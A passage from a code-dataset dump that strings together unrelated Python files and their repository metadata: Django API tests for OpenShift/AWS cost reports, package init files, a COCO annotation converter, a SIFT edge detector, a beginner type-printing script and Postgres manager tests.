.annotate(project_count=Count("namespace")) .all() ) project_of_interest = projects[0].get("namespace") url = reverse("reports-openshift-aws-costs") client = APIClient() params = {"group_by[project]": project_of_interest} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() for entry in data.get("data", []): for project in entry.get("projects", []): self.assertEqual(project.get("project"), project_of_interest) def test_execute_query_ocp_aws_instance_type(self): """Test that the instance type API runs.""" url = reverse("reports-openshift-aws-instance-type") client = APIClient() response = client.get(url, **self.headers) expected_end_date = self.dh.today.date().strftime("%Y-%m-%d") expected_start_date = self.ten_days_ago.strftime("%Y-%m-%d") self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_start_date) self.assertEqual(dates[-1], expected_end_date) for item in data.get("data"): if item.get("values"): values = item.get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) self.assertTrue("count" in values) def test_execute_query_ocp_aws_instance_type_by_project(self): """Test that the instance type API runs when grouped by project.""" with tenant_context(self.tenant): # Force Django to do GROUP BY to get nodes projects = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .values(*["namespace"]) .annotate(project_count=Count("namespace")) .all() ) self.assertNotEqual(len(projects), 0) project_of_interest = projects[0].get("namespace") url = reverse("reports-openshift-aws-instance-type") client = APIClient() params = {"group_by[project]": project_of_interest} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() for entry in data.get("data", []): for project in entry.get("projects", []): self.assertEqual(project.get("project"), project_of_interest) def test_execute_query_default_pagination(self): """Test that the default pagination works.""" url = reverse("reports-openshift-aws-instance-type") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) response_data = response.json() data = response_data.get("data", []) meta = response_data.get("meta", {}) count = meta.get("count", 0) self.assertIn("total", meta) self.assertIn("filter", meta) self.assertIn("count", meta) self.assertEqual(len(data), count) def test_execute_query_limit_pagination(self): """Test that the default pagination works with a limit.""" limit = 2 start_date = self.ten_days_ago.date().strftime("%Y-%m-%d") url = reverse("reports-openshift-aws-instance-type") client = APIClient() params = { "filter[resolution]": "daily", "filter[time_scope_value]": "-10", "filter[time_scope_units]": "day", "limit": limit, } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) response_data = response.json() data = response_data.get("data", []) meta = response_data.get("meta", {}) count = meta.get("count", 0) self.assertIn("total", meta) self.assertIn("count", meta) self.assertNotEqual(len(data), count) if limit > count: self.assertEqual(len(data), count) else: self.assertEqual(len(data), limit) self.assertEqual(data[0].get("date"), start_date) def test_execute_query_limit_offset_pagination(self): """Test that the default pagination works with an offset.""" limit = 1 offset = 1 start_date = (self.ten_days_ago + datetime.timedelta(days=offset)).date().strftime("%Y-%m-%d") url = reverse("reports-openshift-aws-instance-type") client = APIClient() params = { "filter[resolution]": "daily", "filter[time_scope_value]": "-10", "filter[time_scope_units]": "day", "limit": limit, "offset": offset, } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) response_data = response.json() data = response_data.get("data", []) meta = response_data.get("meta", {}) count = meta.get("count", 0) self.assertIn("total", meta) self.assertIn("count", meta) self.assertNotEqual(len(data), count) if limit + offset > count: self.assertEqual(len(data), max((count - offset), 0)) else: self.assertEqual(len(data), limit) self.assertEqual(data[0].get("date"), start_date) def test_execute_query_filter_limit_offset_pagination(self): """Test that the ranked group pagination works.""" limit = 1 offset = 0 url = reverse("reports-openshift-aws-instance-type") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", "group_by[project]": "*", "filter[limit]": limit, "filter[offset]": offset, } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) response_data = response.json() data = response_data.get("data", []) meta = response_data.get("meta", {}) count = meta.get("count", 0) self.assertIn("total", meta) self.assertIn("filter", meta) self.assertIn("count", meta) for entry in data: projects = entry.get("projects", []) if limit + offset > count: self.assertEqual(len(projects), max((count - offset), 0)) else: self.assertEqual(len(projects), limit) def test_execute_query_filter_limit_high_offset_pagination(self): """Test that the default pagination works.""" limit = 1 offset = 10 url = reverse("reports-openshift-aws-instance-type") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", "group_by[project]": "*", "filter[limit]": limit, "filter[offset]": offset, } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) response_data = response.json() data = response_data.get("data", []) meta = response_data.get("meta", {}) count = meta.get("count", 0) self.assertIn("total", meta) self.assertIn("filter", meta) self.assertIn("count", meta) for entry in data: projects = entry.get("projects", []) if limit + offset > count: self.assertEqual(len(projects), max((count - offset), 0)) else: self.assertEqual(len(projects), limit) def test_execute_query_with_order_by(self): """Test that the possible order by options work.""" order_by_numeric = ["cost", "supplementary", "infrastructure", "usage", "delta"] order_by_non_numeric = ["project", "cluster", "node", "account_alias", "region", "service", "product_family"] baseurl = reverse("reports-openshift-aws-instance-type") client = APIClient() for option in order_by_numeric: order_by_dict_key = f"order_by[{option}]" params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", order_by_dict_key: "desc", } if option == "delta": params.update({"delta": "usage"}) url = baseurl + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) for option in order_by_non_numeric: order_by_dict_key = f"order_by[{option}]" group_by = option if option == "account_alias": group_by = "account" params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", order_by_dict_key: "desc", f"group_by[{group_by}]": "*", } url = baseurl + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_order_by_tag_wo_group(self): """Test that order by tags without a group-by fails.""" baseurl = reverse("reports-openshift-aws-instance-type") client = APIClient() tag_url = reverse("openshift-aws-tags") tag_url = tag_url + "?filter[time_scope_value]=-1&key_only=True" response = client.get(tag_url, **self.headers) tag_keys = response.data.get("data", []) for key in tag_keys: order_by_dict_key = f"order_by[tag:{key}]" params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", order_by_dict_key: random.choice(["asc", "desc"]), } url = baseurl + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_order_by_tag_w_wrong_group(self): """Test that order by tags with a non-matching group-by fails.""" baseurl = reverse("reports-openshift-aws-instance-type") client = APIClient() tag_url = reverse("openshift-aws-tags") tag_url = tag_url + "?filter[time_scope_value]=-1&key_only=True" response = client.get(tag_url, **self.headers) tag_keys = response.data.get("data", []) for key in tag_keys: order_by_dict_key = f"order_by[tag:{key}]" params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", order_by_dict_key: random.choice(["asc", "desc"]), "group_by[usage]": random.choice(["asc", "desc"]), } url = baseurl + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_order_by_tag_w_tag_group(self): """Test that order by tags with a matching group-by tag works.""" baseurl = reverse("reports-openshift-aws-instance-type") client = APIClient() tag_url = reverse("openshift-aws-tags") tag_url = tag_url + "?filter[time_scope_value]=-1&key_only=True" response = client.get(tag_url, **self.headers) tag_keys = response.data.get("data", []) for key in tag_keys: order_by_dict_key = f"order_by[tag:{key}]" group_by_dict_key = f"group_by[tag:{key}]" params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", order_by_dict_key: random.choice(["asc", "desc"]), group_by_dict_key: random.choice(["asc", "desc"]), } url = baseurl + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_process_multiple_tag_query_params(self): """Test that grouping by multiple tag keys returns a valid response.""" with tenant_context(self.tenant): labels = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .values(*["tags"]) .first() ) self.assertIsNotNone(labels) tags = labels.get("tags") qstr = "filter[limit]=2" # pick a random subset of tags kval = len(tags.keys()) if kval > 2: kval = random.randint(2, len(tags.keys())) selected_tags = random.choices(list(tags.keys()), k=kval) for tag in selected_tags: qstr += f"&group_by[tag:{tag}]=*" url = reverse("reports-openshift-aws-costs") + "?" + qstr client = APIClient() response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_group_bys_with_second_group_by_tag(self): """Test that a group by project followed by a group by tag does not error.""" with tenant_context(self.tenant): labels = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.dh.last_month_start) .filter(usage_start__lte=self.dh.last_month_end) .values(*["tags"]) .first() ) tags = labels.get("tags") group_by_key = list(tags.keys())[0] client = APIClient() for url in URLS: for group_by in GROUP_BYS: params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-2", "filter[time_scope_units]": "month", f"group_by[{group_by}]": "*", f"group_by[tag:{group_by_key}]": "*", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_order_by_delta(self): """Test that the order_by delta with pagination does not error.""" limit = 5 offset = 0 url = reverse("reports-openshift-aws-instance-type") client = APIClient() params_list = [ {"filter[limit]": limit, "filter[offset]": offset, "order_by[delta]": "asc", "delta": "usage"}, {"order_by[delta]": "asc", "delta": "usage"}, ] for params in params_list: url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) response_data = response.json() data = response_data.get("data", []) meta = response_data.get("meta", {}) self.assertIn("total", meta) self.assertIn("filter", meta) self.assertIn("count", meta) compared_deltas = False for day in data: previous_delta = None for instance_type in day.get("instance_types", []): values = instance_type.get("values", []) if values: current_delta = values[0].get("delta_value") if previous_delta: self.assertLessEqual(previous_delta, current_delta) compared_deltas = True previous_delta = current_delta else: previous_delta = current_delta self.assertTrue(compared_deltas) def test_order_by_delta_no_delta(self): """Test that the order_by delta with no delta passed in triggers 400.""" limit = 5 offset = 0 url = reverse("reports-openshift-aws-instance-type") client = APIClient() params_list = [ {"filter[limit]": limit, "filter[offset]": offset, "order_by[delta]": "asc"}, {"order_by[delta]": "asc"}, ] for params in params_list: url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)

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null

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null

0

6

94fd0f250fb8d9b97333c5278803fb806414af59

39

py

Python

pybimodal/__init__.py

machism0/bimodal-qd-micropillars

f4339473ed5ff57ad6dcdb1b875c9407f4de1ee6

[ "Apache-2.0" ]

1

2021-12-09T01:33:54.000Z

pybimodal/__init__.py

machism0/bimodal-qd-micropillars

f4339473ed5ff57ad6dcdb1b875c9407f4de1ee6

[ "Apache-2.0" ]

null

pybimodal/__init__.py

machism0/bimodal-qd-micropillars

f4339473ed5ff57ad6dcdb1b875c9407f4de1ee6

[ "Apache-2.0" ]

null

from .branch import param_names, Branch

39

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5.333333

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1

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0.914286

0

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null

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0

1

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1

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6

bfb80e3d8f37afd8b84841cfe598bda2f134fd25

194

py

Python

AC/IntroPython/python-if/b4.py

samirsaravia/ubiquitous-octo-fortnigh

c197945e7e849ddfece02e34e0c6b8f03e50c7dd

[ "MIT" ]

null

AC/IntroPython/python-if/b4.py

samirsaravia/ubiquitous-octo-fortnigh

c197945e7e849ddfece02e34e0c6b8f03e50c7dd

[ "MIT" ]

1

2021-03-04T22:03:05.000Z

AC/IntroPython/python-if/b4.py

samirsaravia/ubiquitous-octo-fortnight

c197945e7e849ddfece02e34e0c6b8f03e50c7dd

[ "MIT" ]

null

# tipos de valores print(type('Ola mundo')) print(type(7)) print(type(True)) # bool sempre maiuscula as primera letra print(type(False)) print(type('True')) # pegadinha print(type('False'))

19.4

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null

0

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0

6

781a053753e617faf4749dffea21a713d646b819

47

py

Python

allencv/nn/__init__.py

sethah/allencv

1bdc27359f81290e96b290ccda11f7a9905ebf14

[ "Apache-2.0" ]

8

2019-05-09T02:48:54.000Z

2022-02-14T03:58:54.000Z

allencv/nn/__init__.py

sethah/allencv

1bdc27359f81290e96b290ccda11f7a9905ebf14

[ "Apache-2.0" ]

null

allencv/nn/__init__.py

sethah/allencv

1bdc27359f81290e96b290ccda11f7a9905ebf14

[ "Apache-2.0" ]

null

from allencv.nn.common import StdConv, Upsample

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null

0

1

0

1

0

1

0

6

781d23efd5ae05645a178b161eb376c26a46b58d

64

py

Python

newspaper/utils/__init__.py

saraivaufc/jornalEletronico

d53da33c4684e1403f7e4b8943d5306e053afb02

[ "MIT" ]

null

newspaper/utils/__init__.py

saraivaufc/jornalEletronico

d53da33c4684e1403f7e4b8943d5306e053afb02

[ "MIT" ]

null

newspaper/utils/__init__.py

saraivaufc/jornalEletronico

d53da33c4684e1403f7e4b8943d5306e053afb02

[ "MIT" ]

null

from .news import * from .comment import * from .tools import *

16

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1

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null

0

1

0

1

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1

0

6

7856938011901321a38ff5e82058c1cbb5daa465

74

py

Python

python/src/test/resources/pyfunc/numpy_random4_test.py

maropu/lljvm-translator

322fbe24a27976948c8e8081a9552152dda58b4b

[ "Apache-2.0" ]

70

2017-12-12T10:54:00.000Z

2022-03-22T07:45:19.000Z

python/src/test/resources/pyfunc/numpy_random4_test.py

maropu/lljvm-as

322fbe24a27976948c8e8081a9552152dda58b4b

[ "Apache-2.0" ]

14

2018-02-28T01:29:46.000Z

2019-12-10T01:42:22.000Z

python/src/test/resources/pyfunc/numpy_random4_test.py

maropu/lljvm-as

322fbe24a27976948c8e8081a9552152dda58b4b

[ "Apache-2.0" ]

4

2019-07-21T07:58:25.000Z

2021-02-01T09:46:59.000Z

import numpy as np def numpy_random4_test(s): return np.random.rand(s)

14.8

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1

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null

0

1

0

1

0

6

7856f635e2d95e80e68c315b4a937f3fb2aaa2dd

5,613

py

Python

tools/annotate_coco.py

mengli11235/fruit

568833d36a5cae0b345775c818223ff00a12f496

[ "Apache-2.0" ]

null

tools/annotate_coco.py

mengli11235/fruit

568833d36a5cae0b345775c818223ff00a12f496

[ "Apache-2.0" ]

null

tools/annotate_coco.py

mengli11235/fruit

568833d36a5cae0b345775c818223ff00a12f496

[ "Apache-2.0" ]

null

## This file is used to annotate xml files to coco format import json import os import cv2 from xml.dom.minidom import parse import xml.dom.minidom if __name__ == '__main__': path = '../dataset_AgrilFruit_forCounting/exp1/' # fruit classes folders = ['lemon', 'custardapple', 'apple', 'pear', 'persimmon'] train_dataset = {'categories':[], 'images':[], 'annotations':[]} test_dataset = {'categories':[], 'images':[], 'annotations':[]} # create coco categories for i, j in enumerate(folders, 0): train_dataset['categories'].append({'id': i, 'name': j, 'supercategory': 'mark'}) test_dataset['categories'].append({'id': i, 'name': j, 'supercategory': 'mark'}) # train annotations for i, f in enumerate(os.listdir(os.path.join(path, 'train_xml'))): # read through xml tree DOMTree = xml.dom.minidom.parse(os.path.join(path, 'train_xml', f)) collection = DOMTree.documentElement filename = collection.getElementsByTagName("filename")[0] folder = collection.getElementsByTagName("folder")[0] size = collection.getElementsByTagName("size")[0] width = size.getElementsByTagName("width")[0] height = size.getElementsByTagName("height")[0] objects = collection.getElementsByTagName("object") train_dataset['images'].append({'file_name': filename.childNodes[0].data, 'id': i, 'width': int(width.childNodes[0].data), 'height': int(height.childNodes[0].data)}) for k,object in enumerate(objects): bndbox = object.getElementsByTagName('bndbox')[0] name = object.getElementsByTagName('name')[0] xmin = bndbox.getElementsByTagName('xmin')[0] ymin = bndbox.getElementsByTagName('ymin')[0] xmax = bndbox.getElementsByTagName('xmax')[0] ymax = bndbox.getElementsByTagName('ymax')[0] if name.childNodes[0].data.lower() == folder.childNodes[0].data.lower(): x1 = float(xmin.childNodes[0].data) y1 = float(ymin.childNodes[0].data) x2 = float(xmax.childNodes[0].data) y2 = float(ymax.childNodes[0].data) width_object = max(0, x2 - x1) height_object = max(0, y2 - y1) train_dataset['annotations'].append({'area': width_object * height_object, 'bbox': [x1, y1, width_object, height_object], 'category_id': folders.index(folder.childNodes[0].data.lower()), 'id': i*100+k, 'image_id': i, 'iscrowd': 0, 'segmentation': [[x1, y1, x2, y1, x2, y2, x1, y2]]}) #test annotations for i, f in enumerate(os.listdir(os.path.join(path, 'test_xml'))): DOMTree = xml.dom.minidom.parse(os.path.join(path, 'test_xml', f)) collection = DOMTree.documentElement filename = collection.getElementsByTagName("filename")[0] folder = collection.getElementsByTagName("folder")[0] size = collection.getElementsByTagName("size")[0] width = size.getElementsByTagName("width")[0] height = size.getElementsByTagName("height")[0] objects = collection.getElementsByTagName("object") test_dataset['images'].append({'file_name': filename.childNodes[0].data, 'id': i, 'width': int(width.childNodes[0].data), 'height': int(height.childNodes[0].data)}) for k,object in enumerate(objects): bndbox = object.getElementsByTagName('bndbox')[0] name = object.getElementsByTagName('name')[0] xmin = bndbox.getElementsByTagName('xmin')[0] ymin = bndbox.getElementsByTagName('ymin')[0] xmax = bndbox.getElementsByTagName('xmax')[0] ymax = bndbox.getElementsByTagName('ymax')[0] if name.childNodes[0].data.lower() == folder.childNodes[0].data.lower(): x1 = float(xmin.childNodes[0].data) y1 = float(ymin.childNodes[0].data) x2 = float(xmax.childNodes[0].data) y2 = float(ymax.childNodes[0].data) width_object = max(0, x2 - x1) height_object = max(0, y2 - y1) test_dataset['annotations'].append({'area': width_object * height_object, 'bbox': [x1, y1, width_object, height_object], 'category_id': folders.index(folder.childNodes[0].data.lower()), 'id': i*100+k, 'image_id': i, 'iscrowd': 0, 'segmentation': [[x1, y1, x2, y1, x2, y2, x1, y2]]}) # save the json file save_folder = os.path.join(path, 'annotations') if not os.path.exists(save_folder): os.makedirs(save_folder) json_name = os.path.join(save_folder, 'annotations_train.json') with open(json_name, 'w') as f: json.dump(train_dataset, f) json_name = os.path.join(save_folder, 'annotations_test.json') with open(json_name, 'w') as f: json.dump(test_dataset, f)

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py

Python

bitmovin_api_sdk/encoding/encodings/muxings/fmp4/__init__.py

jaythecaesarean/bitmovin-api-sdk-python

48166511fcb9082041c552ace55a9b66cc59b794

[ "MIT" ]

11

2019-07-03T10:41:16.000Z

2022-02-25T21:48:06.000Z

bitmovin_api_sdk/encoding/encodings/muxings/fmp4/__init__.py

jaythecaesarean/bitmovin-api-sdk-python

48166511fcb9082041c552ace55a9b66cc59b794

[ "MIT" ]

8

2019-11-23T00:01:25.000Z

2021-04-29T12:30:31.000Z

bitmovin_api_sdk/encoding/encodings/muxings/fmp4/__init__.py

jaythecaesarean/bitmovin-api-sdk-python

48166511fcb9082041c552ace55a9b66cc59b794

[ "MIT" ]

13

2020-01-02T14:58:18.000Z

2022-03-26T12:10:30.000Z

from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.fmp4_api import Fmp4Api from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.customdata.customdata_api import CustomdataApi from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.information.information_api import InformationApi from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.drm.drm_api import DrmApi from bitmovin_api_sdk.encoding.encodings.muxings.fmp4.fmp4_muxing_list_query_params import Fmp4MuxingListQueryParams

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6

78b64d325b104a1e054346b7b3d3b268afae1f3a

86

py

Python

xylophone/project/rooms/room1.py

Turysaz/pyframework

da44b8127aa6b89d6cdb3bdb564c386520b37e22

[ "MIT" ]

null

xylophone/project/rooms/room1.py

Turysaz/pyframework

da44b8127aa6b89d6cdb3bdb564c386520b37e22

[ "MIT" ]

6

2018-04-09T20:57:14.000Z

2018-04-09T21:18:12.000Z

xylophone/project/rooms/room1.py

Turysaz/xylophone

da44b8127aa6b89d6cdb3bdb564c386520b37e22

[ "MIT" ]

null

def pre_step(self): print("TestPRE") def post_step(self): print("TestPOST")

12.285714

21

0.651163

12

86

4.5

0.666667

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0.481481

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0.186047

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null

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1

0

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6

78d34f22e6e63dfcc82c8b4da42665ab9d3e915d

148

py

Python

DeBERTa/apps/models/__init__.py

vilhub/DeBERTa

87580930689ec9f75ef8dbebba367953ed3dfe63

[ "MIT" ]

916

2020-06-09T01:32:41.000Z

2022-03-31T10:14:33.000Z

DeBERTa/apps/models/__init__.py

vilhub/DeBERTa

87580930689ec9f75ef8dbebba367953ed3dfe63

[ "MIT" ]

77

2020-06-27T15:48:25.000Z

2022-03-30T20:52:58.000Z

DeBERTa/apps/models/__init__.py

vilhub/DeBERTa

87580930689ec9f75ef8dbebba367953ed3dfe63

[ "MIT" ]

123

2020-06-09T01:54:53.000Z

2022-03-30T13:22:41.000Z

from .ner import * from .multi_choice import * from .sequence_classification import * from .record_qa import * from .masked_language_model import *

24.666667

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1

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1

0

6

1584b07aebce815cbb1c25624e543f38df332dbb

1,810

py

Python

Graph-Algorithm/SIFT/hessian.py

ZhongHouyu/CVCode

e9576dfbdd1ae2ff986dadde3183eb6bc0380f76

[ "Apache-2.0" ]

30

2018-09-20T14:37:35.000Z

2020-10-21T05:17:07.000Z

Graph-Algorithm/SIFT/hessian.py

ZhongHouyu/CVCode

e9576dfbdd1ae2ff986dadde3183eb6bc0380f76

[ "Apache-2.0" ]

1

2019-11-29T07:48:58.000Z

2019-12-20T06:01:53.000Z

Graph-Algorithm/SIFT/hessian.py

ZhongHouyu/CVCode

e9576dfbdd1ae2ff986dadde3183eb6bc0380f76

[ "Apache-2.0" ]

9

2018-10-10T04:37:46.000Z

2022-03-31T02:03:44.000Z

from PIL import Image import numpy import scipy from scipy.ndimage import filters class hessian(object): def __init__(self): self.eps = 0.000001 self.patternEdgeThreshold = 4.1 self.sourceEdgeThreshold = 4.1 def patEdgeDetect(self,arr): """ takes an image array as input, return the pixels on the edges of the pattern image """ imx = numpy.zeros(arr.shape) filters.gaussian_filter(arr, (3,3), (0,1), imx) imy = numpy.zeros(arr.shape) filters.gaussian_filter(arr, (3,3), (1,0), imy) Wxx = filters.gaussian_filter(imx*imx,3) Wxy = filters.gaussian_filter(imx*imy,3) Wyy = filters.gaussian_filter(imy*imy,3) # compute the determint and trace of the array Wdet = Wxx*Wyy - Wxy**2 Wtr = Wxx + Wyy # This threshold value is set by (r+1)**2/r and experiments Thres = self.patternEdgeThreshold coor = [] Hess = Wtr**2/(Wdet+self.eps) re = numpy.where(Hess>Thres) Num = len(re[0]) for i in range(Num): coor.append((re[0][i],re[1][i])) return tuple(coor) def Srcedgedetect(self,arr): """ takes an image array as input, return the pixels on the edges of the source image """ imx = numpy.zeros(arr.shape) filters.gaussian_filter(arr, (3,3), (0,1), imx) imy = numpy.zeros(arr.shape) filters.gaussian_filter(arr, (3,3), (1,0), imy) Wxx = filters.gaussian_filter(imx*imx,3) Wxy = filters.gaussian_filter(imx*imy,3) Wyy = filters.gaussian_filter(imy*imy,3) # compute the determint and trace of the array Wdet = Wxx*Wyy - Wxy**2 Wtr = Wxx + Wyy # This threshold value is set by (r+1)**2/r and experiments Thres = self.sourceEdgeThreshold coor = [] Hess = Wtr**2/(Wdet+self.eps) re = numpy.where(Hess>Thres) Num = len(re[0]) for i in range(Num): coor.append((re[0][i],re[1][i])) return tuple(coor)

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1

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1

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null

0

6

ecc5b394b148c00ac07c439e2accfb694ebb58e5

156

py

Python

test_twarc_timeline_archive.py

DocNow/twarc-timeline-archive

e19179b4a1afe59fd64d98792bcf90addf22c33c

[ "MIT" ]

2

2021-05-14T19:32:03.000Z

2021-05-24T02:01:36.000Z

test_twarc_timeline_archive.py

DocNow/twarc-timeline-archive

e19179b4a1afe59fd64d98792bcf90addf22c33c

[ "MIT" ]

4

2022-02-08T18:03:48.000Z

2022-03-30T18:29:07.000Z

test_twarc_timeline_archive.py

DocNow/twarc-timeline-archive

e19179b4a1afe59fd64d98792bcf90addf22c33c

[ "MIT" ]

1

2021-04-30T09:55:44.000Z

from click.testing import CliRunner from twarc_timeline_archive import timeline_archive runner = CliRunner() def test_timeline_archive(): pass # todo

19.5

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6

019f4d45dde0781d4905fcf3cec3819325c8612f

25,719

py

Python

assets/tests/workers/managed_feeds/test_managed_feeds_postgres_manager.py

ellerbrock/quickstart-47lining-industrial-data-connector

ffd98ea68366f4a24bb30b1dcdce5a76d603ba3b

[ "Apache-2.0" ]

1

2019-04-15T16:27:50.000Z

assets/tests/workers/managed_feeds/test_managed_feeds_postgres_manager.py

DalavanCloud/quickstart-47lining-industrial-data-connector

6ad5530a793cfc22fe71677f14cc5775b2971697

[ "Apache-2.0" ]

null

assets/tests/workers/managed_feeds/test_managed_feeds_postgres_manager.py

DalavanCloud/quickstart-47lining-industrial-data-connector

6ad5530a793cfc22fe71677f14cc5775b2971697

[ "Apache-2.0" ]

null

import datetime import json from io import BytesIO from operator import itemgetter from freezegun import freeze_time from mock import call from model.models import SyncAfEvent, EventStatus, PiPoint, SubscriptionStatus, Event, InterpolateEvent, \ SyncPiPointsEvent, BackfillEvent, SubscribeEvent, UnsubscribeEvent, Settings from tests.fixtures import * def test_get_recent_events(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ SyncAfEvent( id='1', error_message='Fail', status=EventStatus.failure, update_timestamp=datetime.datetime(2017, 1, 4), s3_bucket='bucket', s3_key='key', database='database' ), SyncPiPointsEvent( id='2', status=EventStatus.success, update_timestamp=datetime.datetime(2017, 1, 3), s3_bucket='bucket', s3_key='key' ), InterpolateEvent( id='3', status=EventStatus.success, update_timestamp=datetime.datetime(2017, 1, 2), pi_points=['point1', 'point2'], name='name' ), BackfillEvent( id='4', status=EventStatus.success, update_timestamp=datetime.datetime(2017, 1, 1), pi_points=['point1', 'point2'], ) ]) events = managed_feeds_postgres_manager.get_recent_events(3) assert events == [ { 'database': 'database', 'error_message': 'Fail', 'id': '1', 's3_bucket': 'bucket', 's3_key': 'key', 'status': EventStatus.failure, 'event_type': 'sync_af', 'update_timestamp': datetime.datetime(2017, 1, 4) }, { 'error_message': None, 'id': '2', 's3_bucket': 'bucket', 's3_key': 'key', 'status': EventStatus.success, 'event_type': 'sync_pi_points', 'update_timestamp': datetime.datetime(2017, 1, 3) }, { 'error_message': None, 'name': 'name', 'id': '3', 'pi_points': ['point1', 'point2'], 'status': EventStatus.success, 'event_type': 'interpolate', 'update_timestamp': datetime.datetime(2017, 1, 2) } ] def test_get_settings(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ Settings( name='Setting1', value='value1' ), Settings( name='Setting2', value='value2' ) ]) settings = managed_feeds_postgres_manager.get_settings() assert settings == { 'Setting1': 'value1', 'Setting2': 'value2' } def test_save_settings(managed_feeds_postgres_manager, postgres_session): settings = { 'Setting1': 'value1', 'Setting2': 'value2' } managed_feeds_postgres_manager.save_settings(settings) settings_from_db = managed_feeds_postgres_manager.get_settings() assert settings_from_db == settings def test_get_pi_points(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ PiPoint( pi_point='point1', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 1) ), PiPoint( pi_point='point2', subscription_status=SubscriptionStatus.pending, update_timestamp=datetime.datetime(2017, 1, 2) ), PiPoint( pi_point='point3', subscription_status=SubscriptionStatus.unsubscribed, update_timestamp=datetime.datetime(2017, 1, 3) ) ]) points_data = managed_feeds_postgres_manager.get_pi_points() points_data['pi_points'] = sorted(points_data['pi_points'], key=itemgetter('pi_point')) assert points_data == { 'pi_points': [ { 'pi_point': 'point1', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 1, 0, 0) }, { 'pi_point': 'point2', 'subscription_status': SubscriptionStatus.pending, 'update_timestamp': datetime.datetime(2017, 1, 2, 0, 0) }, { 'pi_point': 'point3', 'subscription_status': SubscriptionStatus.unsubscribed, 'update_timestamp': datetime.datetime(2017, 1, 3, 0, 0) } ], 'total_count': 3 } def test_get_pi_points_with_pagination(managed_feeds_postgres_manager, postgres_session): for i in range(10): pi_point = PiPoint( pi_point='point{}'.format(i), subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 1) ) postgres_session.add(pi_point) points_data = managed_feeds_postgres_manager.get_pi_points(page=2, page_size=2) points_data['pi_points'] = sorted(points_data['pi_points'], key=itemgetter('pi_point')) assert points_data == { 'pi_points': [ { 'pi_point': 'point4', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 1, 0, 0) }, { 'pi_point': 'point5', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 1, 0, 0) } ], 'total_count': 10 } def test_search_pi_points_with_query(managed_feeds_postgres_manager, postgres_session): postgres_session.add_all([ PiPoint( pi_point='name-test-name', subscription_status=SubscriptionStatus.subscribed, update_timestamp=datetime.datetime(2017, 1, 1) ), PiPoint( pi_point='test-test-test', subscription_status=SubscriptionStatus.pending, update_timestamp=datetime.datetime(2017, 1, 2) ) ]) points_data = managed_feeds_postgres_manager.search_pi_points(pattern='name-*-name') assert points_data == { 'pi_points': [ { 'pi_point': 'name-test-name', 'subscription_status': SubscriptionStatus.subscribed, 'update_timestamp': datetime.datetime(2017, 1, 1, 0, 0) } ], 'total_count': 1 } 